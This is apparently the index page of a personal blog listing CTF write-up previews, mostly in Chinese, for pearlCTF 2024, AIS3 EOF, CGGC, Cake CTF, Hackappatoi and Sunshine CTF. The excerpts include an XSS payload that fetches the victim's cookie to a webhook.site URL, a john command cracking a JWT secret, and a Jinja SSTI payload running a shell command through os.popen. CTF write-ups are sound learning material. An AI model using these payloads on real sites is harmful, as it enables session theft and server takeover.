堇姬 Naup's Blog

2024-03-10 3.4k words 19 mins

pearlCTF-2024-WP

Pearl CTF 2024- CakeisTheFake - Writeup Team : CakeisTheFakeRank : 16/605 Weblearn HTTP題目是一個web service，會把使用者丟進去的get參數在後端處理後變封包丟出來：然後有個/flag的路徑會去驗證你的cookie，是的話才可以拿到flag。標準的XSS：payload 123HTTP/1.1 200 OK<script>fetch("http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=&

2024-02-29 5.9k words 36 mins

量子密碼學(QuantumCTF初探與解題)

Author:堇姬Naup 共筆https://hackmd.io/@3C-Tim/HJLfSR_t6/edit 題目writeup(註解打得很詳細了，我就不多說了)AIS3前測12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667import randomfrom math import sqrt#將binary string轉成十進制的functiondef BinaryToDecimal(b

2024-02-29 2.9k words 15 mins

AIS3 EOF 2024 Qual Writeup

Author:堇姬NaupRank : 42 MiscWelcome簽到 DC就有 reverseFlag Generator題目會把這坨Block寫進flag.exe(原本看了一陣子，不是很理解她在幹嘛www，後來我突然看懂了那一坨東西我根本不用理解她在幹嘛) 直接用x64gdb抓參數，看他把甚麼寫進去就行了把寫了甚麼截下來，然後包回.exe就行了 stateful幸好我都使用工人智慧把式子抓出來有Correct!!!跟WRONG!!!，直接去state_machine()看dest怎麼產生。你會看到50個state，他會經過一堆運算來一個一個呼叫，所以要先搞清楚他到底怎麼呼叫，可

2024-02-29 1.2k words 5 mins

CGGC 2024 Qual Writeup

CGGC 2024 Qual writeup Team: 芙莉熊Rank: 9th Webbossti第一關是用jwt sign的登入頁面，把密鑰用john暴一下並修改參數登入就好：john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256 登入後的畫面上方有個7*7，馬上想到SSTI，結合前面JWT帶有的參數hack就可以植入payload:{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}&#1

2024-02-29 1.4k words 8 mins

Cake CTF 2023 Writeup

Team: WANRank: 142/729 TOWFL Solver : Whale120 An exam web application which would generate some strange sentences with unknow characters every time and you have to get flag by getting a full mark on it.There are a hundred strange problems, after a try on this application with Burp Suite,

2024-02-29 2.5k words 13 mins

Hackappatoi CTF'23 CakeisTheFake Writeup

Team: CakeisTheFakeRank: 12/443 WebForza napolia [name=whale120] 一個網站，分為兩部分，一個是回報連結然後會檢查是否來自他們的host，另一個則是可以透過url參數做查詢，有xss防護。source: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748const bot = require("../bot");function isValidUrl(url

2024-02-29 2.8k words 17 mins

Sunshine CTF 2023 Writeup

Team: WANRank: 74/821 WEBBeepBoop Blog Slover: 堇姬naup You can observe a suspicious URL, which has patterns.You can get something by using different numbers after the URL path /post/https://beepboop.web.2023.sunshinectf.games/post/1 I guess the flag may be hidden in one of the paths. Solve Sc

2024-02-29 16 words 1 min

建完blog的第一篇文章

建立文章1hexo new <title> 部屬到github12hexo clhexo g -d